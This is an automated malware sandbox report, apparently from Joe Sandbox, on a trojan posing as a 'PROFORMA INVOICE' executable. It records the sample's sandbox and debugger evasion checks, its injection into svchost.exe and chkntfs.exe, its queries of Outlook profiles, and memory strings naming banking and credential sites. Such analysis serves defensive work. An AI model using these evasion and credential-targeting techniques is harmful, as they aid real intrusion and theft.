Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Static file information: File size 1345024 > 1048576

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: chkntfs.pdbGCTL source: svchost.exe, 00000002.00000003.2186603901.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218277477.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887154860.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: aWQzvnOIPI.exe, 00000003.00000000.2139109679.000000000044E000.00000002.00000001.01000000.00000004.sdmp, aWQzvnOIPI.exe, 00000006.00000000.2289413366.000000000044E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026705638.00000000043E0000.00000004.00001000.00020000.00000000.sdmp, PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026606201.0000000004240000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2123151926.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2124909172.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.000000000339E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2225817733.00000000041DF000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.000000000452E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.0000000004390000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2223681301.0000000004020000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026705638.00000000043E0000.00000004.00001000.00020000.00000000.sdmp, PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026606201.0000000004240000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2123151926.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2124909172.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.000000000339E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, chkntfs.exe, 00000004.00000003.2225817733.00000000041DF000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.000000000452E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.0000000004390000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2223681301.0000000004020000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: chkntfs.pdb source: svchost.exe, 00000002.00000003.2186603901.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218277477.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887154860.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: chkntfs.exe, 00000004.00000002.3888417281.00000000049BC000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3886521464.00000000004B8000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2506186536.0000000025D3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: chkntfs.exe, 00000004.00000002.3888417281.00000000049BC000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3886521464.00000000004B8000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2506186536.0000000025D3C000.00000004.80000000.00040000.00000000.sdmp

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004242DE

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00440A76 push ecx; ret	0_2_00440A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0068583A push 0000006Eh; ret	2_2_006858D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_006858B7 push 0000006Eh; ret	2_2_006858D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00673400 push eax; ret	2_2_00673402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00675C1E push ebx; retf	2_2_00675C1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0320225F pushad ; ret	2_2_032027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032027FA pushad ; ret	2_2_032027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032309AD push ecx; mov dword ptr [esp], ecx	2_2_032309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0320283D push eax; iretd	2_2_03202858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0320135E push eax; iretd	2_2_03201369
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C873F9 pushfd ; retf	3_2_03C87412
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C8479E push 0000006Eh; ret	3_2_03C847BF
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C74B05 push ebx; retf	3_2_03C74B06
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C84721 push 0000006Eh; ret	3_2_03C847BF
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Code function: 3_2_03C87513 push ecx; ret	3_2_03C87518
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043927FA pushad ; ret	4_2_043927F9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0439225F pushad ; ret	4_2_043927F9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0439283D push eax; iretd	4_2_04392858
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_043C09AD push ecx; mov dword ptr [esp], ecx	4_2_043C09B6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B2437 push 0000006Eh; ret	4_2_001B24D5
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B24B4 push 0000006Eh; ret	4_2_001B24D5
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001A281B push ebx; retf	4_2_001A281C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B510F pushfd ; retf	4_2_001B5128
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001BF180 push 00000052h; retn F78Dh	4_2_001BF226
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001B5229 push ecx; ret	4_2_001B522E
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001BB963 push esi; iretd	4_2_001BB964
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0423142E push ebx; ret	4_2_0423142F
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_042244A9 push edx; retf	4_2_042244AA
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_042234CE push ds; ret	4_2_042234D4
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_042255AE push ecx; iretd	4_2_042255B0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_0422D619 push ebx; retf	4_2_0422D662

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0043F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0043F98E
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004B1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004B1C41

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-97019

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	API/Special instruction interceptor: Address: 1763204
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0327096E rdtsc

2_2_0327096E

Source: C:\Windows\SysWOW64\chkntfs.exe

Window / User API: threadDelayed 9756

Jump to behavior

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	API coverage: 3.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\chkntfs.exe	API coverage: 2.5 %

Source: C:\Windows\SysWOW64\chkntfs.exe TID: 5476	Thread sleep count: 216 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 5476	Thread sleep time: -432000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 5476	Thread sleep count: 9756 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 5476	Thread sleep time: -19512000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe TID: 1240	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe TID: 1240	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe TID: 1240	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe TID: 1240	Thread sleep time: -34000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\chkntfs.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0048DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0048DBBE
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0045C2A2 FindFirstFileExW,	0_2_0045C2A2
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004968EE FindFirstFileW,FindClose,	0_2_004968EE
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0049698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_0049698F
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0048D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0048D076
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0048D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0048D3A9
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00499642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00499642
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0049979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0049979D
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00499B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00499B2B
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00495C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00495C97
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001BC750 FindFirstFileW,FindNextFileW,FindClose,	4_2_001BC750
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001BC886 FindFirstFileW,FindNextFileW,FindClose,	4_2_001BC886

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004242DE

Source: x--942kI.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: x--942kI.4.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: x--942kI.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: x--942kI.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: aWQzvnOIPI.exe, 00000006.00000002.3887050808.000000000124F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: x--942kI.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: x--942kI.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: x--942kI.4.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: x--942kI.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000007.00000002.2507808090.00000258E5D7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: x--942kI.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: x--942kI.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: x--942kI.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: x--942kI.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: x--942kI.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: x--942kI.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: x--942kI.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: x--942kI.4.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: x--942kI.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: x--942kI.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0327096E rdtsc

2_2_0327096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00687A63 LdrLoadDll,

2_2_00687A63

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0049EAA2 BlockInput,

0_2_0049EAA2

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00452622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00452622

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004242DE

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00444CE8 mov eax, dword ptr fs:[00000030h]	0_2_00444CE8
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_01763470 mov eax, dword ptr fs:[00000030h]	0_2_01763470
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_017634D0 mov eax, dword ptr fs:[00000030h]	0_2_017634D0
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_01761E70 mov eax, dword ptr fs:[00000030h]	0_2_01761E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03308324 mov eax, dword ptr fs:[00000030h]	2_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03308324 mov ecx, dword ptr fs:[00000030h]	2_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03308324 mov eax, dword ptr fs:[00000030h]	2_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03308324 mov eax, dword ptr fs:[00000030h]	2_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]	2_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]	2_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]	2_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C310 mov ecx, dword ptr fs:[00000030h]	2_2_0322C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250310 mov ecx, dword ptr fs:[00000030h]	2_2_03250310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D437C mov eax, dword ptr fs:[00000030h]	2_2_032D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]	2_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov ecx, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]	2_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA352 mov eax, dword ptr fs:[00000030h]	2_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D8350 mov ecx, dword ptr fs:[00000030h]	2_2_032D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0330634F mov eax, dword ptr fs:[00000030h]	2_2_0330634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]	2_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]	2_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]	2_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325438F mov eax, dword ptr fs:[00000030h]	2_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325438F mov eax, dword ptr fs:[00000030h]	2_2_0325438F
